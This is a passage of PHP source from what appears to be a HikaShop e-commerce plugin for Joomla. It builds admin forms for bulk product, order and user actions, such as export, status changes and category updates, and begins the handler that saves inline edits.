							$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_exportCsv_characteristicColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_characteristicColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_characteristicColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/>';
							foreach($characteristics as $characteristic){
								$checked='';
								if(isset($value->data['characteristic'][$characteristic->characteristic_value])){
									$checked='checked="checked"';
								}
								$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_characteristicColumn_'.$characteristic->characteristic_value.'" name="action['.$table->table.']['.$key.'][exportCsv][characteristic]['.$characteristic->characteristic_value.']" value="'.$characteristic->characteristic_value.'" />'.
									'<label for="action_'.$table->table.'_'.$key.'_exportCsv_characteristicColumn_'.$characteristic->characteristic_value.'">'.$characteristic->characteristic_value.'</label>';
							}
							$customCheckboxes .= '</div>';
						}
						$db->setQuery('SELECT * FROM '.hikashop_table('product_related'));
						$relateds = $db->loadObjectList();
						if(is_array($relateds)){
							$customCheckboxes .= '<div id="action_'.$table->table.'_'.$key.'_exportCsv_relatedColumn_div" class="hika_massaction_checkbox"><a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_relatedColumn_div\',\'check\');">'.JText::_('SELECT_ALL').'</a> / <a style="cursor: pointer;" onclick="checkAll(\'action_'.$table->table.'_'.$key.'_exportCsv_relatedColumn_div\',\'uncheck\');">'.JText::_('UNSELECT_ALL').'</a><br/>';
							$displayed = array();
							foreach($relateds as $related){
								$checked='';
								if(isset($value->data['related'][$related->product_related_type])){
									$checked='checked="checked"';
								}
								if(!in_array($related->product_related_type, $displayed))
									$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_relatedColumn_'.$related->product_related_type.'" name="action['.$table->table.']['.$key.'][exportCsv][related]['.$related->product_related_type.']" value="'.$related->product_related_type.'" />'.
									'<label for="action_'.$table->table.'_'.$key.'_exportCsv_relatedColumn_'.$related->product_related_type.'">'.$related->product_related_type.'</label>';
								$displayed[] = $related->product_related_type;
							}
							$customCheckboxes .= '</div>';
						}

						break;
					case 'user':
						$checked='';
						if(isset($value->data['usergroups'])){
							$checked='checked="checked"';
						}
						$customCheckboxes .= '<div class="hika_massaction_checkbox">';
						$customCheckboxes .= '<input type="checkbox" '.$checked.' id="action_'.$table->table.'_'.$key.'_exportCsv_usergroupsColumn_title" name="action['.$table->table.']['.$key.'][exportCsv][usergroups][title]" value="usergroups" />'.
						'<label for="action_'.$table->table.'_'.$key.'_exportCsv_usergroupsColumn_title">'.JText::_('GROUP_NAME').'</label>';
						$customCheckboxes .= '</div>';
						break;
				}

				$output .= $customCheckboxes;
				$output .= '<div style="clear:both;"></div>';
				$checked='';
				if(isset($value->data['formatExport']['format']) && $value->data['formatExport']['format']=='xls')
					$checked='checked="checked"';
				$checked2='';
				if(isset($value->data['formatExport']['format']) && $value->data['formatExport']['format']=='xlsx')
					$checked2='checked="checked"';
				$output .='
				<input type="radio" id="action'.$table->table.''.$key.'exportCsvformatExportformatcsv" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][format]" checked value="csv"> 
				<label for="action'.$table->table.''.$key.'exportCsvformatExportformatcsv">'.JText::_('CSV').'</label> 
				<input type="radio" id="action'.$table->table.''.$key.'exportCsvformatExportformatxls" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][format]" '.$checked.' value="xls"> 
				<label for="action'.$table->table.''.$key.'exportCsvformatExportformatxls">'.JText::_('XLS').'</label> 
				<input type="radio" id="action'.$table->table.''.$key.'exportCsvformatExportformatxlsx" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][format]" '.$checked2.' value="xlsx"> 
				<label for="action'.$table->table.''.$key.'exportCsvformatExportformatxlsx">'.JText::_('XLSX').'</label>';

				if($table->table == 'order') {
					$checked='';
					if(isset($value->data['formatExport']['oneProductPerRow']))
						$checked='checked="checked"';
					$output .= '<br/>'.'<input type="checkbox" id="action'.$table->table.''.$key.'exportCsvOneProductPerRow" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][oneProductPerRow]" '. $checked.' value="1"> <label for="action'.$table->table.''.$key.'exportCsvOneProductPerRow">'.JText::_('ONE_PRODUCT_PER_ROW').'</label>';
				}
				$output .= '<br/>'.JText::_('EXPORT_PATH').': <input type="text" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][path]" value="'.$value->data['formatExport']['path'].'" />';
				$output .= '<br/>'.JText::_('TO_ADDRESS').': <input type="text" name="action['.$table->table.']['.$key.'][exportCsv][formatExport][email]" value="'.$value->data['formatExport']['email'].'" /> '.JText::_('FILL_PATH_TO_USE_EMAIL');
				$output .= '<div style="clear:both;"></div>';

				$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
			}


			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array('type' => '','value' => '','operation' => '');
			$loadedData->massaction_actions['__num__']->name = 'updateValues';
			$loadedData->massaction_actions['__num__']->html = '';

			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'updateValues' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;

				$output='';
				$typeField = array();
				foreach($updTables as $relatedTable){
					if(!HIKASHOP_J30){
						if(preg_match('/joomla_/',$relatedTable)){
							$fieldsTable = $db->getTableFields('#__'.str_replace('joomla_','',$relatedTable));
							$fields = reset($fieldsTable);
							foreach($fields as $key2 => $field){
								$fields[$relatedTable.'_'.$key2] = $fields[$key2];
								unset($fields[$key2]);
							}
							$fieldsTable = $fields;
						}
						else{
							$fieldsTable = $db->getTableFields('#__hikashop_'.$relatedTable);
							$fields = reset($fieldsTable);
						}
					} else {
						if(preg_match('/joomla_/',$relatedTable)){
							$fields = $db->getTableColumns('#__'.str_replace('joomla_','',$relatedTable));
							foreach($fields as $key2 => $field){
								$fields[$relatedTable.'_'.$key2] = $fields[$key2];
								unset($fields[$key2]);
							}
						}
						else $fields = $db->getTableColumns('#__hikashop_'.$relatedTable);
					}
					ksort($fields);
					$typeField[] = JHTML::_('select.option', '<OPTGROUP>',JText::_(strtoupper($relatedTable)));
					if(!empty($fields)) {
						foreach($fields as $key2 => $field){
							$typeField[] = JHTML::_('select.option',$key2,$key2);
						}
					}
					$typeField[] = JHTML::_('select.option', '</OPTGROUP>');
				}

				$selected1='';$selected2='';$selected3='';$selected4='';
				$operations=array('int', 'float', 'string', 'operation');
				$options='';
				foreach($operations as $op){
					$selected='';
					if($op==$value->data['operation'])
						$selected='selected="selected"';
					$options .='<option '.$selected.' value="'.$op.'">'.JText::_(strtoupper($op)).'</option>';
				}
				$output .= JHTML::_('select.genericlist', $typeField, "action[".$table->table."][".$key."][updateValues][type]", 'class="custom-select chzn-done not-processed"  size="1"', 'value', 'text', $value->data['type']);
				$output .= ' = <select class="custom-select chzn-done not-processed" onchange="if(this.value == \'operation\'){document.getElementById(\'updateValues_message\').style.display = \'inline\';}" name="action['.$table->table.']['.$key.'][updateValues][operation]">
														'.$options.'
													 </select>';
				$output .= ' <input class="inputbox" type="text" name="action['.$table->table.']['.$key.'][updateValues][value]" size="50" value="'. htmlspecialchars($value->data['value'], ENT_COMPAT, 'UTF-8').'"  />';

				$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
			}



			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->name = 'deleteElements';
			$loadedData->massaction_actions['__num__']->html = '';

			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'deleteElements' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;

				$output = JText::_('DELETE_FILTERED_ELEMENTS'); //'This will delete all the elements returned in the filter.';
				$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);

			}


			$loadedData->massaction_actions['__num__'] = new stdClass();
			$loadedData->massaction_actions['__num__']->type = $table->table;
			$loadedData->massaction_actions['__num__']->data = array('emailAddress' => '','emailSubject' => '','bodyData' => '');
			$loadedData->massaction_actions['__num__']->name = 'sendEmail';
			$loadedData->massaction_actions['__num__']->html = '';

			foreach($loadedData->massaction_actions as $key => &$value) {
				if($value->name != 'sendEmail' || ($table->table != $loadedData->massaction_table && is_int($key)))
					continue;
				if(!isset($value->data['emailAddress'])) $value->data['emailAddress'] = '';
				if(!isset($value->data['emailSubject'])) $value->data['emailSubject'] = '';
				if(!isset($value->data['bodyData'])) $value->data['bodyData'] = '';
				$output .= '<br/>'.JText::_('TO_ADDRESS').': <input type="text" name="action['.$table->table.']['.$key.'][sendEmail][emailAddress]" value="'.$value->data['emailAddress'].'" />';
				$output .= '<br/>'.JText::_('EMAIL_SUBJECT').': <input type="text" name="action['.$table->table.']['.$key.'][sendEmail][emailSubject]" value="'.$value->data['emailSubject'].'" />';
				$output .= '<br/>'.JText::_('MASS_EMAIL_BODY_DATA').': <textarea name="action['.$table->table.']['.$key.'][sendEmail][bodyData]">'.$value->data['bodyData'].'</textarea>';
				$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);

			}

			if($loadedData->massaction_table == 'order'){

				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'changeStatus';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'notify' => '');

				foreach($loadedData->massaction_actions as $key => &$value) {
					if(($value->name != 'changeStatus' || ($table->table != $loadedData->massaction_table && is_int($key))))
						continue;

					$db->setQuery('SELECT `orderstatus_namekey` FROM '.hikashop_table('orderstatus'));
					$orderStatuses = $db->loadObjectList();

					$output='<div id="'.$table->table.'action'.$key.'changeStatus">';
					$output.= JText::_('NEW_ORDER_STATUS').': <select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_changeStatus_value" name="action['.$table->table.']['.$key.'][changeStatus][value]">';
					if(is_array($orderStatuses)){
						foreach($orderStatuses as $orderStatus){
							$orderStatus = $orderStatus->orderstatus_namekey;
							$selected='';
							if($orderStatus==@$value->data['value']){
								$selected='selected="selected"';
							}
							$output.='<option '.$selected.' value="'.$orderStatus.'">'.hikashop_orderStatus($orderStatus).'</option>';
						}
					}
					$checked='';
					if(isset($value->data['notify']) && $value->data['notify']==1){
						$checked='checked="checked"';
					}
					$output.='</select><input type="checkbox" '.$checked.' value="1" id="action_'.$table->table.'_'.$key.'_changeStatus_notify" name="action['.$table->table.']['.$key.'][changeStatus][notify]"/><label for="action_'.$table->table.'_'.$key.'_changeStatus_notify">'.JText::_('SEND_NOTIFICATION_EMAIL').'</label></div>';
					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}


				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'addProduct';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '', 'quantity' => '1');

				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'addProduct' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;
					if(!isset($value->data['type'])) $value->data['type'] = 'add';
					$products=array();
					if(!empty($value->data) && !empty($value->data['value'])){
						hikashop_toInteger($value->data['value']);
						$query = 'SELECT product_id,product_name FROM '.hikashop_table('product').' WHERE product_id IN ('.implode(',',$value->data['value']).')';
						$database->setQuery($query);
						$products = $database->loadColumn();
					}
					if(!isset($value->data['quantity'])) $value->data['quantity'] = '1';

					$productSelect = $nameboxType->display(
						'action['.$table->table.']['.$key.'][addProduct][value]',
						$products,
						hikashopNameboxType::NAMEBOX_MULTIPLE,
						'product',
						array(
							'delete' => true,
							'default_text' => '<em>'.JText::_('HIKA_NONE').'</em>',
						)
					);

					$output ='<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_addProduct_type" name="action['.$table->table.']['.$key.'][addProduct][type]">';
					$datas = array('add'=>'ADD', 'remove'=>'REMOVE');
					foreach($datas as $k => $data){
						$selected = '';
						if($k == $value->data['type']) $selected = 'selected="selected"';
						$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
					}
					$output .='</select>';
					$output .='<input class="inputbox" type="text" name="action['.$table->table.']['.$key.'][addProduct][quantity]" size="10" value="'.$value->data['quantity'].'"  /> '.JText::_('PRODUCTS');
					$output .= $productSelect;
					if(isset($value->data['update'])) $checked = 'checked="checked"';
					else $checked = '';
					$output .= '<input type="checkbox" value="update" id="action_'.$table->table.'_'.$key.'_addProduct_update" name="action['.$table->table.']['.$key.'][addProduct][update]" '.$checked.'/><label for="action_'.$table->table.'_'.$key.'_addProduct_update">'.JText::_('UPDATE_PRODUCT_STOCK').'</label>';

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}
			}

			if($loadedData->massaction_table == 'product'){


				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'updateCategories';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');

				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'updateCategories' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					if(empty($value->data['type']))
						$value->data['type'] = 'add';

					$categories=array();
					if(!empty($value->data) && !empty($value->data['value'])){
						$query = 'SELECT category_id, category_name FROM '.hikashop_table('category').' WHERE category_id IN ('.implode(',', $value->data['value']).')';
						$database->setQuery($query);
						$categories = $database->loadColumn();
					}

					$categorySelect = $nameboxType->display(
						'action['.$table->table.']['.$key.'][updateCategories][value]',
						$categories,
						hikashopNameboxType::NAMEBOX_MULTIPLE,
						'category',
						array(
							'delete' => true,
							'default_text' => '<em>'.JText::_('HIKA_NONE').'</em>',
						)
					);

					$output ='<select id="action_'.$table->table.'_'.$key.'_updateCategories_type" class="custom-select select-listing chzn-done not-processed" name="action['.$table->table.']['.$key.'][updateCategories][type]">';
					$datas = array('add'=>'ADD', 'replace'=>'REPLACE','remove'=>'REMOVE');
					foreach($datas as $k => $data){
						$selected = '';
						if($k == $value->data['type']) $selected = 'selected="selected"';
						$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
					}
					$output .='</select>';
					$output .= $categorySelect;

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}




				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'updateRelateds';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');


				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'updateRelateds' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$products=array();
					if(!empty($value->data) && !empty($value->data['value'])){
						hikashop_toInteger($value->data['value']);
						$query = 'SELECT product_id,product_name FROM '.hikashop_table('product').' WHERE product_id IN ('.implode(',',$value->data['value']).')';
						$database->setQuery($query);
						$products = $database->loadColumn();
					}
					$productSelect = $nameboxType->display(
						'action['.$table->table.']['.$key.'][updateRelateds][value]',
						$products,
						hikashopNameboxType::NAMEBOX_MULTIPLE,
						'product',
						array(
							'delete' => true,
							'default_text' => '<em>'.JText::_('HIKA_NONE').'</em>',
						)
					);

					$output ='<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_updateRelateds_type" name="action['.$table->table.']['.$key.'][updateRelateds][type]">';
					$datas = array('add'=>'ADD', 'replace'=>'REPLACE');
					foreach($datas as $k => $data){
						$selected = '';
						if($k == $value->data['type']) $selected = 'selected="selected"';
						$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
					}
					$output .='</select>';
					$output .= $productSelect;

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}



				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'updateOptions';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');


				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'updateOptions' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$options=array();
					if(!empty($value->data) && !empty($value->data['value'])){
						hikashop_toInteger($value->data['value']);
						$query = 'SELECT product_id,product_name FROM '.hikashop_table('product').' WHERE product_id IN ('.implode($value->data['value'],',').')';
						$database->setQuery($query);
						$options = $database->loadColumn();
					}
					$productSelect = $nameboxType->display(
						'action['.$table->table.']['.$key.'][updateOptions][value]',
						$options,
						hikashopNameboxType::NAMEBOX_MULTIPLE,
						'product',
						array(
							'delete' => true,
							'default_text' => '<em>'.JText::_('HIKA_NONE').'</em>',
						)
					);

					$output ='<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_updateOptions_type" name="action['.$table->table.']['.$key.'][updateOptions][type]">';
					$datas = array('add'=>'ADD', 'replace'=>'REPLACE');
					foreach($datas as $k => $data){
						$selected = '';
						if($k == $value->data['type']) $selected = 'selected="selected"';
						$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
					}
					$output .='</select>';
					$output .= $productSelect;

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}



				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'updateCharacteristics';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');


				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'updateCharacteristics' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;

					$characteristics=array();
					$query = 'SELECT * FROM '.hikashop_table('characteristic').' WHERE characteristic_parent_id = 0';
					$database->setQuery($query);
					$characteristics = $database->loadObjectList();

					if(!empty($characteristics)){
						$output ='<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_updateCharacteristics_type" name="action['.$table->table.']['.$key.'][updateCharacteristics][type]">';
						$datas = array('add'=>'ADD', 'delete'=>'HIKA_DELETE');
						foreach($datas as $k => $data){
							$selected = '';
							if($k == $value->data['type']) $selected = 'selected="selected"';
							$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
						}
						$output .='</select><br/><div class="hika_massaction_checkbox" >';
						if(!isset($value->data['value'])) $value->data['value'] = '';
						if(!is_array($value->data['value'])) $value->data['value'] = (array)$value->data['value'];
							foreach($characteristics as $characteristic){
								$checked = '';
								if(in_array($characteristic->characteristic_id,$value->data['value'])) $checked = 'checked="checked"';
								$output .= '<br/><input type="checkbox" name="action['.$table->table.']['.$key.'][updateCharacteristics][value][]" '.$checked.' value="'.$characteristic->characteristic_id.'" />'.$characteristic->characteristic_value;
							}
						$output .= '</div>';
					}else{
						$output = '<div class="alert">'.JText::_('MASSACTION_NO_CHARACTERISTICS').'</div>';
					}

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}


				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'setCanonical';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');

				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'setCanonical' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;
					if(!isset($value->data['value'])) $value->data['value'] = '';
					$output = '<input type="text" id="action_'.$table->table.'_'.$key.'_setCanonical_value" name="action['.$table->table.']['.$key.'][setCanonical][value]" value="'.$value->data['value'].'">';
					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}

			}

			if($loadedData->massaction_table == 'order' || $loadedData->massaction_table == 'user'){
				$loadedData->massaction_actions['__num__'] = new stdClass();
				$loadedData->massaction_actions['__num__']->type = $table->table;
				$loadedData->massaction_actions['__num__']->name = 'changeGroup';
				$loadedData->massaction_actions['__num__']->html = '';
				$loadedData->massaction_actions['__num__']->data = array('value' => '', 'type' => '');


				foreach($loadedData->massaction_actions as $key => &$value) {
					if($value->name != 'changeGroup' || ($table->table != $loadedData->massaction_table && is_int($key)))
						continue;
					if(!isset($value->data['type'])) $value->data['type'] = 'add';
					if(!isset($value->data['value'])) $value->data['value'] = '1';
					$query = 'SELECT * FROM '.hikashop_table('usergroups',false);

					$database->setQuery($query);
					$groups = $database->loadObjectList();

					$output ='<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_changeGroup_type" name="action['.$table->table.']['.$key.'][changeGroup][type]">';
					$datas = array('add'=>'ADD', 'replace'=>'REPLACE','remove' =>'REMOVE');
					foreach($datas as $k => $data){
						$selected = '';
						if($k == $value->data['type']) $selected = 'selected="selected"';
						$output .='<option value="'.$k.'" '.$selected.'>'.JText::_($data).'</option>';
					}
					$output .='</select>';

					$output .= '<select class="custom-select chzn-done not-processed" id="action_'.$table->table.'_'.$key.'_changeGroup_value" name="action['.$table->table.']['.$key.'][changeGroup][value]">'; // categories
					foreach($groups as $group){
						$selected = '';
						if($group->id == $value->data['value']) $selected = 'selected="selected"';
						$output .='<option value="'.$group->id.'" '.$selected.'>'.JText::_($group->title).'</option>';
					}
					$output .= '</select>';

					$actions_html[$value->name] = $massactionClass->initDefaultDiv($value, $key, $type, $table->table, $loadedData, $output);
				}
			}
		}else{
			$actions_html['displayResults'] = '<div id="'.$table->table.'action__num__displayResults"></div>';
			$actions_html['exportCsv'] = '<div id="'.$table->table.'action__num__exportCsv"></div>';
			$actions_html['updateValues'] = '<div id="'.$table->table.'action__num__updateValues"></div>';
		}

		$js="
			function checkAll(id, type){
				var toCheck = document.getElementById(id).getElementsByTagName('input');
				for (i = 0 ; i < toCheck.length ; i++) {
					if (toCheck[i].type == 'checkbox') {
						if(type == 'check'){
							toCheck[i].checked = true;
						}else{
							toCheck[i].checked = false;
						}
					}
				}
			}";

		$doc = JFactory::getDocument();
		$doc->addScriptDeclaration( "<!--\n".$js."\n//-->\n" );
	}

	function onReloadPageMassActionAfterEdition(&$reload){
		$reload['category']['category_id']='category_id';
		$reload['price']['price_product_id']='price_product_id';
		$reload['price']['price_currency_id']='price_currency_id';
		$reload['product']['product_dimension_unit']='product_dimension_unit';
		$reload['address']['address_id']='address_id';
		$reload['product'][]='';
		$reload['product'][]='';
	}

	function onSaveEditionSquareMassAction($data,$data_id,$table,$column,$value,$id,$type){
		$database = JFactory::getDBO();
		switch($data){
			case 'product':
			$class = hikashop_get('class.product');
				switch($table){
					case 'category':
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						$query = 'SELECT category_id';
						$query .= ' FROM '.hikashop_table('product_category');
						$query .= ' WHERE product_id='.$database->Quote($data_id).' AND category_id !='.$database->Quote($id);
						$database->setQuery($query);
						$tmp = $database->loadObjectList();
						$categories[$value] = $value;
						foreach($tmp as $val){
							$categories[$val->category_id] = $val->category_id;
						}
						unset($object->alias);
						$object->categories = $categories;
						$class->updateCategories($object,$data_id);
						break;
					case 'price':
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						$query = 'SELECT *';
						$query .= ' FROM '.hikashop_table('price');
						$query .= ' WHERE price_product_id='.$database->Quote($data_id);
						$database->setQuery($query);
						$prices = $database->loadObjectList();
						foreach($prices as $price){
							if($price->price_id == $id){
								$price->$column = $value;
							}
						}
						unset($object->alias);
						$object->prices = $prices;
						$class->updatePrices($object,$data_id);
						break;
					case 'characteristic':
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						$characteristics = array();

						$query = 'SELECT c1.characteristic_id as \'default_id\',c2.characteristic_id,c1.characteristic_parent_id,v2.ordering,c2.characteristic_value';
						$query .= ' FROM '.hikashop_table('variant').' AS v1';
						$query .= ' INNER JOIN '.hikashop_table('characteristic').' AS c1 ON c1.characteristic_id = v1.variant_characteristic_id';
						$query .= ' INNER JOIN '.hikashop_table('variant').' AS v2 ON c1.characteristic_parent_id = v2.variant_characteristic_id';
						$query .= ' INNER JOIN '.hikashop_table('characteristic').' AS c2 ON c2.characteristic_parent_id = c1.characteristic_parent_id';
						$query .= ' WHERE c1.characteristic_parent_id!=0 AND v1.variant_product_id='.$database->Quote($data_id);
						$database->setQuery($query);
						$results = $database->loadObjectList();

						foreach($results as $result){
							$test = false;
							foreach($characteristics as $charac){
								if($charac->characteristic_id == $result->characteristic_parent_id){
									$charac->values[$result->characteristic_id] = $result->characteristic_value;
									if($result->characteristic_value == $value){
										$charac->default_id = $result->characteristic_id;
									}
									$test = true;
								}
							}
							if(!$test){
								$tmp = new stdClass();
								$tmp->characteristic_id = $result->characteristic_parent_id;
								$tmp->ordering = $result->ordering;
								if($result->characteristic_value == $value){
									$tmp->default_id = $result->characteristic_id;
								}else{
									$tmp->default_id = $result->default_id;
								}
								$tmp->values[$result->characteristic_id] = $result->characteristic_value;
								$characteristics[] = $tmp;
								$object->oldCharacteristics[] = $result->characteristic_parent_id;
							}
						}
						foreach($characteristics as $characteristic){
							foreach($characteristic->values as $v=>$k){
								if($v == $value){
									$characteristic->default_id = $value;
								}
							}
						}
						$object->characteristics = $characteristics;
						$class->updateCharacteristics($object,$data_id);
						break;
					case 'product' :
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						unset($object->alias);
						$object->$column = $value;
						$class->save($object);
						break;

					case 'related' :
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						unset($object->alias);

						$query = 'SELECT product_related_id';
						$query .= ' FROM '.hikashop_table('product_related');
						$query .= ' WHERE product_id='.$database->Quote($data_id).' AND product_related_type = \'related\'';
						$database->setQuery($query);
						$results = $database->loadObjectList();
						$related = array();
						foreach($results as $result){
							if($result->product_related_id != $id){
								$related[$result->product_related_id] = new stdClass();
								$related[$result->product_related_id]->product_related_id = $result->product_related_id;
								$related[$result->product_related_id]->product_related_ordering = 0;
							}
						}
						$related[$value] = new stdClass();
						$related[$value]->product_related_id = $value;
						$related[$value]->product_related_ordering = 0;
						$object->related = $related;
						$class->updateRelated($object,$data_id,'related');
						break;
					case 'options' :
						if($class->getProducts($data_id)){
							$object = $class->get($data_id);
						}
						unset($object->alias);

						$query = 'SELECT product_related_id';
						$query .= ' FROM '.hikashop_table('product_related');
						$query .= ' WHERE product_id='.$database->Quote($data_id).' AND product_related_type = \'options\'';
						$database->setQuery($query);
						$results = $database->loadObjectList();
						$options = array();
						foreach($results as $result){
							if($result->product_related_id != $id){
								$options[$result->product_related_id] = new stdClass();
								$options[$result->product_related_id]->product_related_id = $result->product_related_id;
								$options[$result->product_related_id]->product_related_ordering = 0;
							}
						}
						$options[$value] = new stdClass();
						$options[$value]->product_related_id = $value;
						$options[$value]->product_related_ordering = 0;
						$object->options = $options;
						$class->updateRelated($object,$data_id,'options');
						break;
				}
				break;

			case 'category':
				$class = hikashop_get('class.category');
				switch($table){
					case 'category':
						$object = $class->get($data_id);
						if($object){
							$object->$column = $value;
							$class->save($object);
						}
						break;
				}
				break;
			case 'user':
				$class = hikashop_get('class.user');
				switch($table){
					case 'user':
						$object = $class->get($data_id);
						foreach($object as $key=>$element){
							if(!strstr($key,'user_')){
								unset($object->$key);
							}
						}
						if($object){
							$object->$column = $value;
							$class->save($object);
						}
						break;
					case 'address':
						$address = hikashop_get('class.address');
						$object = $address->get($id);
						$object->$column = $value;
						$address->save($object);
						break;
					case 'usergroup':
						die('Never');
						break;
					case 'joomla_users':
						if($column == 'joomla_users_id'){
							$column = 'id';
						}
						$user = JFactory::getUser($id);
						if(!empty($user)){
							$user->$column = $value;
							$user->save();
						}
						break;
				}
				break;

			case 'order':
				$class = hikashop_get('class.order');
				switch($table){
					case 'address':
						$order = $class->get($data_id);
						$address = hikashop_get('class.address');
						$object = $address->get($id);
						$object->$column = $value;

						if($order->order_shipping_address_id == $id && $order->order_billing_address_id == $id){
							$address->save($object);
							$class->save($order);
						}else if($order->order_shipping_address_id == $id){
							$order->order_shipping_address_id = $address->save($object,$data_id,'shipping');
							$class->save($order);
						}else if($order->order_billing_address_id == $id){
							$order->order_billing_address_id = $address->save($object,$data_id,'billing');
							$class->save($order);
						}
						break;
					case 'order_product':
						$info = $class->get($data_id);

						$query = 'SELECT *';
						$query .= ' FROM '.hikashop_table('order_product');
						$query .= ' WHERE order_product_id='.$database->Quote($id);
						$database->setQuery($query);
						$row = $database->loadObject();
						$object = new stdClass();
						$object->order_id = $data_id;
						$object->product = $row;
						$object->product->$column = $value;

						$history = new stdClass();
						$history->history_reason = JText::sprintf('MODIFICATION_USERS');
						$history->history_notified = '0';
						$history->history_type = 'modification';

						$object->history = $history;
						$class->save($object);
						break;
					case 'order' :
						$object = $class->get($data_id);
						if($object){
							if(isset($_POST['checkbox'])){
